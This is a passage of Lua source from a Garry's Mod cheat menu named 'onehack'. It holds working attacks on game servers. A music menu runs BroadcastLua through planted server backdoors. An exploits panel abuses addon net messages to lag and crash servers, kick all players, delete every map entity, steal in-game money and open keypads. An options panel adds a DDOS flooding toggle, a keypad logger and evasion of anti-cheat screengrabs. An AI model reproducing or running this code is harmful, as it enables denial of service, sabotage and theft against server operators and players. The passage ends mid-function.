1115 onehack.NetStart( onehack.selectedbackdoor )
1116 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Skibidi\")]])")
1117 net.WriteBit(1)
1118 net.SendToServer()
1119 end)
1120
1121 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1122 onehack.NetStart( onehack.selectedbackdoor )
1123 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Поиграю я в CS\")]])")
1124 net.WriteBit(1)
1125 net.SendToServer()
1126 end)
1127
1128 onehack.AddFunction("Музыка - Паравозик - Look At Me", "sound", buttlistback, function()
1129 onehack.NetStart( onehack.selectedbackdoor )
1130 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Паравозик\")]])")
1131 net.WriteBit(1)
1132 net.SendToServer()
1133 end)
1134
1135 onehack.AddFunction("Музыка - Привет всем друзьям", "sound", buttlistback, function()
1136 onehack.NetStart( onehack.selectedbackdoor )
1137 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Привет всем!\")]])")
1138 net.WriteBit(1)
1139 net.SendToServer()
1140 end)
1141 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1142 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1143 onehack.NetStart( onehack.selectedbackdoor )
1144 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Я НЛО\")]])")
1145 net.WriteBit(1)
1146 net.SendToServer()
1147 end)
1148
1149 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1150 onehack.NetStart( onehack.selectedbackdoor )
1151 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Томас\")]])")
1152 net.WriteBit(1)
1153 net.SendToServer()
1154 end)
1155 --
1156 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1157 onehack.NetStart( onehack.selectedbackdoor )
1158 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1159 net.WriteBit(1)
1160 net.SendToServer()
1161 end)
1162
1163 onehack.AddFunction("Музыка - Вишневая семёрка", "sound", buttlistback, function()
1164 onehack.NetStart( onehack.selectedbackdoor )
1165 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Вишневая семёрка\")]])")
1166 net.WriteBit(1)
1167 net.SendToServer()
1168 end)
1169 onehack.AddFunction("Музыка - ОООООООООООР", "sound", buttlistback, function()
1170 onehack.NetStart( onehack.selectedbackdoor )
1171 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"-Уши\")]])")
1172 net.WriteBit(1)
1173 net.SendToServer()
1174 end)
1175 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1176 onehack.NetStart( onehack.selectedbackdoor )
1177 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Обеме\")]])")
1178 net.WriteBit(1)
1179 net.SendToServer()
1180 end)
1181 --
1182 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1183 onehack.NetStart( onehack.selectedbackdoor )
1184 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Денза\")]])")
1185 net.WriteBit(1)
1186 net.SendToServer()
1187 end)
1188 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1189 onehack.NetStart( onehack.selectedbackdoor )
1190 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"BABY TAPE\")]])")
1191 net.WriteBit(1)
1192 net.SendToServer()
1193 end)
1194
1195 if onehack.selectedpanel != nil then
1196 onehack.selectedpanel:Remove()
1197 end
1198 onehack.selectedpanel_id = 1
1199 onehack.selectedpanel = onehackdooropt
1200 end
1201
1202 function exploitmenuopt()
1203 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1204 exploitmenuopt:SetPos( 126, 9 )
1205 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1206 function exploitmenuopt:Paint( w, h )
1207 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1208 end
1209
1210 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1211 onehack.exploitspanel:SetPos(160,5)
1212 onehack.exploitspanel:SetSize(302,373)
1213 function onehack.exploitspanel:Paint( w,h )
1214 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1215 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1216 end
1217
1218 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1219 onehack.exploitsList:Dock(FILL)
1220 function onehack.exploitsList:Paint( w,h )
1221 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1222 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1223 end
1224 onehack.exploitsList.VBar:SetWidth(1)
1225 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1226 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1227 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1228 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1229
1230 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1231 onehack.exploits_players_list:SetPos(5,25)
1232 onehack.exploits_players_list:SetSize(150,298)
1233 function onehack.exploits_players_list:Paint( w,h )
1234 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1235 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1236 end
1237 onehack.exploits_players_list.VBar:SetWidth(1)
1238 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1239 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1240 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1241 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1242
1243 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1244 onehack.player_button_prev:SetText( "" )
1245 onehack.player_button_prev:SetPos(5,5)
1246 onehack.player_button_prev:SetSize(150,20)
1247 function onehack.player_button_prev:Paint( w,h )
1248 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1249 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1250 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1251 end
1252
1253 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1254 onehack.player_button_all:SetText( "" )
1255 onehack.player_button_all:Dock( TOP )
1256 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1257 function onehack.player_button_all:Paint( w,h )
1258 if onehack.player_button_all:IsHovered() then
1259 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1260 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1261 else
1262 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1263 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1264 end
1265 if onehack.selected_player == 0 then
1266 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1267 else
1268 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1269 end
1270 end
1271 function onehack.player_button_all:DoClick()
1272 onehack.selected_player = 0
1273 end
1274
1275 for k,v in pairs(player.GetAll()) do
1276 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1277 onehack_player_button:SetText( "" )
1278 onehack_player_button:Dock( TOP )
1279 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1280 onehack_player_button.Paint = function( _, w, h )
1281 if onehack_player_button:IsHovered() then
1282 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1283 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1284 else
1285 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1286 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1287 end
1288 if onehack.selected_player == v then
1289 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1290 else
1291 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1292 end
1293 end
1294 function onehack_player_button:DoClick()
1295 onehack.selected_player = v
1296 end
1297 end
1298
1299 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1300 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1301 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1302 onehack.exploitstrip_weapontype:SetText( "" )
1303 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1304 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1305 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1306 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1307 if onehack.exploitstrip_weapontype:GetValue() == "" then
1308 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1309 end
1310 end
1311
1312 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1313 onehack.exploitstrip:SetPos( 5, 353 )
1314 onehack.exploitstrip:SetSize( 150, 25 )
1315 onehack.exploitstrip:SetText( "" )
1316 onehack.exploitstrip.Paint = function( _, w, h )
1317 if onehack.exploitstrip:IsHovered() then
1318 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1319 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1320 else
1321 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1322 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1323 end
1324 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1325 end
1326 function onehack.exploitstrip:DoClick()
1327 if onehack.selected_player ~= 0 then
1328 local weapons = onehack.selected_player:GetWeapons()
1329 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1330 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1331 for _, g in pairs( weapons ) do
1332 for _, s in pairs( stringtotable ) do
1333 if string.find( string.lower( g:GetClass() ), s ) then
1334 onehack.StripWeapon( g )
1335 end
1336 end
1337 end
1338 else
1339 onehack.StripAllWeapons( weapons )
1340 end
1341 else
1342 for k,v in pairs(player.GetAll()) do
1343 local weapons = v:GetWeapons()
1344 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1345 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1346 for _, g in pairs( weapons ) do
1347 for _, s in pairs( stringtotable ) do
1348 if string.find( string.lower( g:GetClass() ), s ) then
1349 onehack.StripWeapon( g )
1350 end
1351 end
1352 end
1353 else
1354 onehack.StripAllWeapons( weapons )
1355 end
1356 end
1357 end
1358
1359
1360 end
1361
1362 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1363 onehack.AddExploit("Server Lagger", function()
1364 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1365 for i = 1, 2000 do
1366 onehack.NetStart( str )
1367 onehack.NetWireInt(69,32)
1368 onehack.SendToServak()
1369 end
1370 end)
1371 end)
1372 end
1373 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1374 onehack.AddExploit("Steal money of printer", function()
1375 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1376 if v:IsValid() then
1377 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1378 net.WriteEntity(v)
1379 net.WriteUInt(2, 4)
1380 onehack.SendToServak()
1381 end
1382 end
1383 end)
1384 end
1385 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1386 onehack.AddExploit("Kick all", function()
1387 local function reportQuestionmark()
1388 for i = 1, 2000 do
1389 onehack.NetStart("DL_Answering")
1390 net.SendToServer()
1391 end
1392 end
1393 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1394 end)
1395 end
1396 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1397 onehack.AddExploit("PAC Server Lagger", function()
1398 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1399 for i=1, 1000 do
1400 onehack.NetStart("pac_submit")
1401 onehack.SendToServak()
1402 end end)
1403 end)
1404 end
1405 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1406 onehack.AddExploit("Open menu SCP-249", function()
1407 onehack.NetStart("Client_To_Server_OpenEditor")
1408 onehack.SendToServak()
1409 end)
1410 end
1411
1412 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1413 onehack.AddExploit("Blue UnBox buy crate and key", function()
1414 onehack.NetStart("BuyKey")
1415 onehack.SendToServak()
1416 onehack.NetStart("BuyCrate")
1417 onehack.SendToServak()
1418 end)
1419 end
1420
1421 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1422 onehack.AddExploit("Change org name", function()
1423 onehack.NetStart("ChangeOrgName")
1424 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1425 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1426 net.WriteEntity(LocalPlayer())
1427 onehack.SendToServak()
1428 end)
1429 end
1430
1431 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1432 onehack.AddExploit("Easy reward", function()
1433 onehack.NetStart("IS_SubmitSID_C2S")
1434 onehack.NetWireString("Killa")
1435 onehack.SendToServak()
1436 onehack.NetStart("IS_GetReward_C2S")
1437 onehack.SendToServak()
1438 end)
1439 end
1440
1441 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1442 onehack.AddExploit("Easy reward", function()
1443 onehack.NetStart("IS_SubmitSID_C2S")
1444 onehack.NetWireString("Killa")
1445 onehack.SendToServak()
1446 onehack.NetStart("IS_GetReward_C2S")
1447 onehack.SendToServak()
1448 end)
1449 end
1450
1451 if table.HasValue( onehack.AllNets, "properties" ) then
1452 onehack.AddExploit("Clear map", function()
1453 for k,v in pairs(ents.GetAll()) do
1454 onehack.NetStart("properties")
1455 onehack.NetWireString( "remove" , 32 )
1456 net.WriteEntity( v )
1457 onehack.SendToServak()
1458 end
1459 end)
1460 end
1461
1462 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1463 onehack.AddExploit("Hack all keypad's", function()
1464 onehack.NetStart('start_wd_emp')
1465 onehack.SendToServak()
1466 end)
1467 end
1468
1469 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1470 onehack.AddExploit("PAC Server Crash", function()
1471 timer.Create(onehack.RandomString(10), 0, 0, function()
1472 for i = 1, 400 do
1473 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1474 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1475 onehack.SendToServak()
1476 end
1477 end)
1478 end)
1479 end
1480
1481 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1482 onehack.AddExploit("ItemStore Lagger", function()
1483 timer.Create(onehack.RandomString(10), 0, 0, function()
1484 for i = 1, 1000 do
1485 onehack.NetStart("ItemStoreDrop")
1486 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1487 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1488 onehack.SendToServak()
1489 end
1490 end)
1491 end)
1492 end
1493
1494 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1495 onehack.AddExploit("TFA Lagger", function()
1496 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1497 for i = 1, 4400 do
1498 onehack.NetStart("TFA_Attachment_RequestAll",true)
1499 onehack.SendToServak()
1500 end
1501 end)
1502 end)
1503 end
1504
1505 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1506 onehack.AddExploit("TFA Lagger", function()
1507 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1508 for i = 1, 4400 do
1509 onehack.NetStart("TFA_Attachment_RequestAll",true)
1510 onehack.SendToServak()
1511 end
1512 end)
1513 end)
1514 end
1515
1516 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1517 onehack.AddExploit("Car Dealer Lagger", function()
1518 timer.Create(onehack.RandomString(10), 0, 0, function()
1519 for i=1,1000 do
1520 onehack.NetStart("ts_buytitle",true)
1521 net.WriteTable({})
1522 net.WriteTable({})
1523 net.WriteTable({})
1524 onehack.SendToServak()
1525 end
1526 end )
1527 end)
1528 end
1529
1530 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1531 onehack.AddExploit("Withdraw moneyr", function()
1532 onehack.NetStart("EnterpriseWithdraw")
1533 net.WriteInt(100, 32)
1534 onehack.SendToServak()
1535 end)
1536 end
1537
1538 ---------------------------------------------------------------------------------------
1539 if onehack.selectedpanel != nil then
1540 onehack.selectedpanel:Remove()
1541 end
1542 onehack.selectedpanel_id = 2
1543 onehack.selectedpanel = exploitmenuopt
1544 end
1545
1546 function optionsmenuopt()
1547 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1548 optionsmenuopt:SetPos( 126, 9 )
1549 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1550 function optionsmenuopt:Paint( w, h )
1551 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1552 end
1553 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1554 Theme:SetSize(227,227)
1555 Theme:SetPos(5,5)
1556 Theme:SetPalette( false )
1557 Theme:SetWangs( false )
1558 Theme:SetAlphaBar( false )
1559 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1560 function Theme:ValueChanged( color)
1561 onehack.theme.chroma = Color(color.r,color.g,color.b)
1562 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1563 end
1564
1565 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1566 asg:SetPos(237,5)
1567 asg:SetValue(onehack.Vars['ASR'])
1568 asg:SetSize(130,17)
1569 function asg:Paint(w,h)
1570 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1571 if asg:GetChecked() then
1572 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1573 end
1574 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1575 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1576 onehack.Vars['ASR'] = asg:GetChecked()
1577 end
1578
1579 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1580 asf:SetPos(237,27)
1581 asf:SetValue(onehack.Vars['ASF'])
1582 asf:SetSize(130,17)
1583 function asf:Paint(w,h)
1584 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1585 if asf:GetChecked() then
1586 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1587 end
1588 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1589 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1590 onehack.Vars['ASF'] = asf:GetChecked()
1591 end
1592
1593 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1594 bhop:SetPos(237,49)
1595 bhop:SetValue(onehack.Vars['BHOP'])
1596 bhop:SetSize(130,17)
1597 function bhop:Paint(w,h)
1598 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1599 if bhop:GetChecked() then
1600 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1601 end
1602 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1603 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1604 onehack.Vars['BHOP'] = bhop:GetChecked()
1605 end
1606
1607 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1608 WaterMark:SetPos(237,72)
1609 WaterMark:SetValue(onehack.Vars['WaterMark'])
1610 WaterMark:SetSize(130,17)
1611 function WaterMark:Paint(w,h)
1612 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1613 if WaterMark:GetChecked() then
1614 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1615 end
1616 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1617 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1618 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1619 end
1620
1621 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1622 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1623 FreeCamBind:SetText( "" )
1624 FreeCamBind:SetPos(237,95)
1625 FreeCamBind:SetSize(225,23)
1626 function FreeCamBind:Paint( w,h )
1627 if FreeCamBind:IsHovered() then
1628 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1629 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1630 else
1631 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1632 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1633 end
1634 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1635 end
1636
1637 FreeCamBind.DoClick = function()
1638 onehack.SpectateMode()
1639 end
1640
1641 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1642 netname:SetPos( 237, 124 )
1643 netname:SetSize( 225, 23 )
1644 netname:SetValue( "Select Network String" )
1645 for _,v in pairs(onehack.foundednets) do
1646 netname:AddChoice( v )
1647 end
1648 netname.OnSelect = function( self, index, value )
1649 onehack.selectedbackdoor = value
1650 end
1651 netname.Paint = function( _, w, h )
1652 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1653 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1654 end
1655
1656 local DDosButton = optionsmenuopt:Add( "DButton" )
1657 DDosButton:SetTextColor( Color( 200, 200, 200 ) )
1658 DDosButton:SetText( "" )
1659 DDosButton:SetPos(237,146)
1660 DDosButton:SetSize(225,23)
1661 function DDosButton:Paint( w,h )
1662 if DDosButton:IsHovered() then
1663 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1664 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1665 else
1666 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1667 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1668 end
1669 if onehack.Vars['DDOS'] then
1670 draw.SimpleText("> DDOS <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1671 else
1672 draw.SimpleText("DDOS","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1673 end
1674 end
1675
1676 DDosButton.DoClick = function()
1677 if not onehack.Vars['DDOS'] then
1678 onehack.Vars['DDOS'] = true
1679 timer.Create("Dosonehack",0.01,0,function()
1680 net.Start(netname:GetValue())
1681 net.WriteTable({"asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd","asdhiuddddddddddddddddddddddddddddddddddasdasdasdasdasdasdadasdasdasasdasdasdasdasdasdasdasdasd"})
1682 net.SendToServer()
1683 end)
1684 else
1685 onehack.Vars['DDOS'] = false
1686 timer.Remove("Dosonehack")
1687 end
1688 end
1689
1690 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1691 weapnoslist:SetPos(237,172)
1692 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1693 weapnoslist:SetSize(130,17)
1694 function weapnoslist:Paint(w,h)
1695 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1696 if weapnoslist:GetChecked() then
1697 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1698 end
1699 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1700 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1701 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1702 end
1703
1704 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1705 keypadjef:SetPos(237,192)
1706 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1707 keypadjef:SetSize(130,17)
1708 function keypadjef:Paint(w,h)
1709 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1710 if keypadjef:GetChecked() then
1711 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1712 end
1713 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1714 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1715 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1716 end
1717
1718 ------------------------------------------------------ onehack.Vars['ASR'] 1
1719 if onehack.selectedpanel != nil then
1720 onehack.selectedpanel:Remove()
1721 end
1722 onehack.selectedpanel_id = 3
1723 onehack.selectedpanel = optionsmenuopt
1724 end
1725
1726 function logsmenuopt()
1727 logsmenuopt = vgui.Create( "DPanel" , framesag )
1728 logsmenuopt:SetPos( 126, 9 )
1729 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1730 function logsmenuopt:Paint( w, h )
